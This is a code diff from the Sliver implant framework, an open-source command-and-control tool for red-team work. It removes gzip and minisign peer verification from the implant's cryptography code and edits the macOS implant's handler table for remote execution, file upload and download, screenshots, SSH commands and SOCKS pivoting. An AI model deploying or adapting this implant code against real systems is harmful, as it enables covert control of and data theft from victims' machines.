modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
|
||||
modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
|
||||
modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
|
||||
modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
|
||||
modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
|
||||
modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
|
||||
modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
|
||||
modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
|
||||
modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
|
||||
modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
|
||||
modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
|
||||
modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
|
||||
modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
|
||||
modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
|
||||
modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
|
||||
modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
|
||||
modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
|
||||
modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
|
||||
modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
|
||||
modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
|
||||
modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
|
||||
modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
|
||||
modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
|
||||
modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
|
||||
modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
|
||||
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
|
||||
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
|
||||
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
|
||||
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
|
||||
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
|
||||
modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
|
||||
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
|
||||
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
|
||||
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
|
||||
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
|
||||
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
|
||||
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
|
||||
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
|
||||
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
|
||||
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
|
||||
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
|
||||
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
|
||||
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
|
||||
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
|
||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||
@@ -19,8 +19,6 @@ package cryptography
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
@@ -108,7 +106,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
@@ -126,11 +124,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
|
||||
|
||||
// Decrypt the message and check it wasn't tampered with.
|
||||
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return GunzipBuf(plaintext), nil
|
||||
return aead.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
@@ -149,17 +143,15 @@ type CipherContext struct {
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, ciphertext)
|
||||
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
digest := sha256.Sum256(data)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
@@ -170,11 +162,9 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
}
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
@@ -234,20 +224,3 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
zip := gzip.NewWriter(&buf)
|
||||
zip.Write(data)
|
||||
zip.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package cryptography
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,46 +21,36 @@ package cryptography
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
// ECCPublicKey - The implant's ECC public key
|
||||
ECCPublicKey = "{{.Config.ECCPublicKey}}"
|
||||
eccPublicKey = "{{.Config.ECCPublicKey}}"
|
||||
// eccPrivateKey - The implant's ECC private key
|
||||
eccPrivateKey = "{{.Config.ECCPrivateKey}}"
|
||||
// eccPublicKeySignature - The implant's public key minisigned'd
|
||||
ECCPublicKeySignature = `{{.Config.ECCPublicKeySignature}}`
|
||||
// eccPublicKeySignature - The implant's signed ECC key by the server using Ed25519
|
||||
eccPublicKeySignature = "{{.Config.ECCPublicKeySignature}}"
|
||||
// eccServerPublicKey - Server's ECC public key
|
||||
eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"
|
||||
// minisignServerPublicKey - The server's minisign public key
|
||||
minisignServerPublicKey = `{{.Config.MinisignServerPublicKey}}`
|
||||
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
// {{if .Config.Debug}} - Used for unit tests, remove from normal builds where these values are set at compile-time
|
||||
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret, newMinisignServerPublicKey string) {
|
||||
ECCPublicKey = newEccPublicKey
|
||||
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret string) {
|
||||
eccPublicKey = newEccPublicKey
|
||||
eccPrivateKey = newEccPrivateKey
|
||||
ECCPublicKeySignature = newEccPublicKeySignature
|
||||
eccPublicKeySignature = newEccPublicKeySignature
|
||||
eccServerPublicKey = newEccServerPublicKey
|
||||
totpSecret = newTotpSecret
|
||||
minisignServerPublicKey = newMinisignServerPublicKey
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// GetECCKeyPair - Get the implant's key pair
|
||||
func GetECCKeyPair() *ECCKeyPair {
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(eccPublicKey)
|
||||
if err != nil {
|
||||
panic("no public key")
|
||||
}
|
||||
@@ -78,37 +68,8 @@ func GetECCKeyPair() *ECCKeyPair {
|
||||
}
|
||||
}
|
||||
|
||||
// MinisignVerify - Verify a minisign signature
|
||||
func MinisignVerify(message []byte, signature string) bool {
|
||||
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode minisign public key: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
sig, err := DecodeMinisignSignature(signature)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode minisign signature: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
valid, err := serverPublicKey.Verify(message, sig)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minisign signature validation error: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minisign signature validation: %v", valid)
|
||||
// {{end}}
|
||||
return valid
|
||||
}
|
||||
|
||||
// GetServerECCPublicKey - Get the decoded server public key
|
||||
func GetServerECCPublicKey() *[32]byte {
|
||||
// GetServerPublicKey - Get the decoded server public key
|
||||
func GetServerPublicKey() *[32]byte {
|
||||
publicRaw, err := base64.RawStdEncoding.DecodeString(eccServerPublicKey)
|
||||
if err != nil {
|
||||
return nil
|
||||
@@ -120,7 +81,7 @@ func GetServerECCPublicKey() *[32]byte {
|
||||
|
||||
// ECCEncryptToServer - Encrypt using the server's public key
|
||||
func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
recipientPublicKey := GetServerECCPublicKey()
|
||||
recipientPublicKey := GetServerPublicKey()
|
||||
if recipientPublicKey == nil {
|
||||
panic("no server public key")
|
||||
}
|
||||
@@ -135,35 +96,3 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
copy(msg[32:], ciphertext)
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
|
||||
if !valid {
|
||||
return nil, ErrInvalidPeerKey
|
||||
}
|
||||
var peerPublicKey [32]byte
|
||||
copy(peerPublicKey[:], recipientPublicKey)
|
||||
keyPair := GetECCKeyPair()
|
||||
ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
|
||||
if !valid {
|
||||
return nil, ErrInvalidPeerKey
|
||||
}
|
||||
var peerPublicKey [32]byte
|
||||
copy(peerPublicKey[:], senderPublicKey)
|
||||
keyPair := GetECCKeyPair()
|
||||
plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
@@ -1,135 +0,0 @@
|
||||
package cryptography
|
||||
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-2021 Frank Denis
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.org/x/crypto/ed25519"
|
||||
)
|
||||
|
||||
// PublicKey - Represents a public key
|
||||
type PublicKey struct {
|
||||
SignatureAlgorithm [2]byte
|
||||
KeyId [8]byte
|
||||
PublicKey [32]byte
|
||||
}
|
||||
|
||||
// Signature - Represents a minisign signature
|
||||
type Signature struct {
|
||||
UntrustedComment string
|
||||
SignatureAlgorithm [2]byte
|
||||
KeyId [8]byte
|
||||
Signature [64]byte
|
||||
TrustedComment string
|
||||
GlobalSignature [64]byte
|
||||
}
|
||||
|
||||
// minisignPublicKey - Creates a new public key
|
||||
func minisignPublicKey(publicKeyStr string) (PublicKey, error) {
|
||||
var publicKey PublicKey
|
||||
bin, err := base64.StdEncoding.DecodeString(publicKeyStr)
|
||||
if err != nil || len(bin) != 42 {
|
||||
return publicKey, errors.New("invalid encoded public key")
|
||||
}
|
||||
copy(publicKey.SignatureAlgorithm[:], bin[0:2])
|
||||
copy(publicKey.KeyId[:], bin[2:10])
|
||||
copy(publicKey.PublicKey[:], bin[10:42])
|
||||
return publicKey, nil
|
||||
}
|
||||
|
||||
func DecodeMinisignPublicKey(in string) (PublicKey, error) {
|
||||
var publicKey PublicKey
|
||||
lines := strings.SplitN(in, "\n", 2)
|
||||
if len(lines) < 2 {
|
||||
return publicKey, errors.New("incomplete encoded public key")
|
||||
}
|
||||
return minisignPublicKey(lines[1])
|
||||
}
|
||||
|
||||
func trimCarriageReturn(input string) string {
|
||||
return strings.TrimRight(input, "\r")
|
||||
}
|
||||
|
||||
// DecodeMinisignSignature - Decodes a signature
|
||||
func DecodeMinisignSignature(in string) (Signature, error) {
|
||||
var signature Signature
|
||||
lines := strings.SplitN(in, "\n", 4)
|
||||
if len(lines) < 4 {
|
||||
return signature, errors.New("incomplete encoded signature")
|
||||
}
|
||||
signature.UntrustedComment = trimCarriageReturn(lines[0])
|
||||
bin1, err := base64.StdEncoding.DecodeString(lines[1])
|
||||
if err != nil || len(bin1) != 74 {
|
||||
return signature, errors.New("invalid encoded signature")
|
||||
}
|
||||
signature.TrustedComment = trimCarriageReturn(lines[2])
|
||||
bin2, err := base64.StdEncoding.DecodeString(lines[3])
|
||||
if err != nil || len(bin2) != 64 {
|
||||
return signature, errors.New("invalid encoded signature")
|
||||
}
|
||||
copy(signature.SignatureAlgorithm[:], bin1[0:2])
|
||||
copy(signature.KeyId[:], bin1[2:10])
|
||||
copy(signature.Signature[:], bin1[10:74])
|
||||
copy(signature.GlobalSignature[:], bin2)
|
||||
return signature, nil
|
||||
}
|
||||
|
||||
// Verify - Verifies a signature of a buffer
|
||||
func (publicKey *PublicKey) Verify(bin []byte, signature Signature) (bool, error) {
|
||||
if publicKey.SignatureAlgorithm != [2]byte{'E', 'd'} {
|
||||
return false, errors.New("incompatible signature algorithm")
|
||||
}
|
||||
prehashed := false
|
||||
if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x64 {
|
||||
prehashed = false
|
||||
} else if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x44 {
|
||||
prehashed = true
|
||||
} else {
|
||||
return false, errors.New("unsupported signature algorithm")
|
||||
}
|
||||
if publicKey.KeyId != signature.KeyId {
|
||||
return false, errors.New("incompatible key identifiers")
|
||||
}
|
||||
if !strings.HasPrefix(signature.TrustedComment, "trusted comment: ") {
|
||||
return false, errors.New("unexpected format for the trusted comment")
|
||||
}
|
||||
|
||||
if prehashed {
|
||||
h, _ := blake2b.New512(nil)
|
||||
h.Write(bin)
|
||||
bin = h.Sum(nil)
|
||||
}
|
||||
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), bin, signature.Signature[:]) {
|
||||
return false, errors.New("invalid signature")
|
||||
}
|
||||
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), append(signature.Signature[:], []byte(signature.TrustedComment)[17:]...), signature.GlobalSignature[:]) {
|
||||
return false, errors.New("invalid global signature")
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
@@ -27,9 +27,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -37,6 +35,13 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -134,7 +139,7 @@ func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
}
|
||||
return dir, []os.FileInfo{}, errors.New("directory does not exist")
|
||||
return dir, []os.FileInfo{}, errors.New("Directory does not exist")
|
||||
}
|
||||
|
||||
func rmHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -21,51 +21,54 @@ package handlers
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
pb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
pb.MsgCallExtensionReq: callExtensionHandler,
|
||||
pb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
pb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
|
||||
pb.MsgWGStartSocksReq: wgStartSocksHandler,
|
||||
pb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
pb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
|
||||
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
|
||||
sliverpb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
|
||||
sliverpb.MsgWGStartSocksReq: wgStartSocksHandler,
|
||||
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
darwinPivotHandlers = map[uint32]PivotHandler{}
|
||||
)
|
||||
|
||||
// GetSystemHandlers - Returns a map of the darwin system handlers
|
||||
@@ -73,10 +76,15 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return darwinHandlers
|
||||
}
|
||||
|
||||
// GetSystemPivotHandlers - Returns a map of the darwin system handlers
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return darwinPivotHandlers
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &pb.RegisterExtensionReq{}
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
@@ -86,7 +94,7 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &pb.RegisterExtension{
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
@@ -97,14 +105,14 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &pb.CallExtensionReq{}
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &pb.CallExtension{
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
@@ -125,14 +133,14 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
